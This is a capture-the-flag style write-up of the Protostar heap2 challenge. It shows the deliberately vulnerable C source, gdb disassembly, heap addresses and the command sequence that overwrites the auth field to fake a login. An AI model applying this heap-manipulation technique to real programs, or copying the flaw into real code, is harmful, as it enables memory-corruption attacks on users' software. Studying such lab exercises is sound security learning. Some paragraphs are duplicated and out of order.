The heap2 challenge was a bit different as I had never done heap exploitation before. The challenge exploits one of the famous memory vulnerablilties use-after-free. Our goal is to get the string
Lets start by understanding the code:
The code uses safe fget() function and checks the size of the string using strlen() function before using strcpy(). If the code is using all of the safe functions, how are we going to expolit it? Well from the previous challenge we have learned that the value of the stored variable can be changed.
If we have a look at the above defined struct
"you have logged in already"
printed.Lets start by understanding the code:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
struct auth {
char name[32];
int auth;
};
struct auth *auth;
char *service;
int main(int argc, char **argv)
{
char line[128];
while(1) {
printf("[ auth = %p, service = %p ]\n", auth, service);
if(fgets(line, sizeof(line), stdin) == NULL) break;
if(strncmp(line, "auth ", 5) == 0) {
auth = malloc(sizeof(auth));
memset(auth, 0, sizeof(auth));
if(strlen(line + 5) < 31) {
strcpy(auth->name, line + 5);
}
}
if(strncmp(line, "reset", 5) == 0) {
free(auth);
}
if(strncmp(line, "service", 6) == 0) {
service = strdup(line + 7);
}
if(strncmp(line, "login", 5) == 0) {
if(auth->auth) {
printf("you have logged in already!\n");
} else {
printf("please enter your password\n");
}
}
}
}
The code uses safe fget() function and checks the size of the string using strlen() function before using strcpy(). If the code is using all of the safe functions, how are we going to expolit it? Well from the previous challenge we have learned that the value of the stored variable can be changed.
If we have a look at the above defined struct
struct auth {
char name[32];
int auth;
};
it does an allocation of 36(32 + 4) bytes when we do a pointer initialization (
struct auth *auth
).
strncmp() function compares the input from stdin and perform some action. When we input auth, it calls malloc() to allocate a size of auth bytes and zero out using memset(). Lets load the executable into gdb and set a breakpoint before malloc().
➜ protostar gdb -q heap2
Reading symbols from heap2...(no debugging symbols found)...done.
gdb-peda$ break *0x08048659
Breakpoint 1 at 0x8048659
gdb-peda$ r
[------------------------------code------------------------------]
0x8048657 <main>: jne 0x80486b6 <main>
0x8048659 <main>: sub esp,0xc
0x804865c <main>: push 0x4
=> 0x804865e <main>: call 0x8048480 <malloc@plt>
0x8048663 <main>: add esp,0x10
0x8048666 <main>: mov ds:0x804a048,eax
0x804866b <main>: mov eax,ds:0x804a048
0x8048670 <main>: sub esp,0x4
Guessed arguments:
arg[0]: 0x4
The reset command frees the auth variable. The login command checks the value of auth variable and if it is set other than 0, then we get our flag. And at last there is service command, which calls strdup() function.
By looking at the man page of strdup it tells us that -
The strdup() function returns a pointer to a new string which is a duplicate of the string s. Memory for the new string is obtained with malloc(3), and can be freed with free(3).
So, lets try to see where memory gets allocated after we call strdup -
➜ protostar ./heap2
[ auth = (nil), service = (nil) ]
auth
[ auth = 0x804b818, service = (nil) ]
service
[ auth = 0x804b818, service = 0x804b828 ]
On first auth command, memory gets allocated at 0x804b818 and after that we invoke service command which return a pointer to memory at 0x804b828. Lets look at the disassembly where the condition if (auth->auth) gets checked.
[------------------------------code------------------------------]
0x8048734 <main>: test eax,eax
0x8048736 <main>: jne 0x80485fa <main>
0x804873c <main>: mov eax,ds:0x804a048
=> 0x8048741 <main>: mov eax,DWORD PTR [eax+0x20]
0x8048744 <main>: test eax,eax
0x8048746 <main>: je 0x804875d
0x8048748 <main>: sub esp,0xc
0x804874b <main>: push 0x8048837
The address of auth first gets loaded into EAX register, which is 0x804b818 in this case and then the value of auth variable is calculated by [EAX+0x20] i.e., 0x804b818 + 32, which is true as the auth starts at 32th byte which is the address 0x804b838. This is where the magic of service command happens. If we run the auth command once and run service command twice, then we will be able to write at the location 0x804b838.
Lets try to run the executable again outside of gdb -
➜ protostar ./heap2
[ auth = (nil), service = (nil) ]
auth
[ auth = 0x804b818, service = (nil) ]
service
[ auth = 0x804b818, service = 0x804b828 ]
service
[ auth = 0x804b818, service = 0x804b838 ]
login
you have logged in already!
[ auth = 0x804b818, service = 0x804b838 ]
At last we get our flags! :)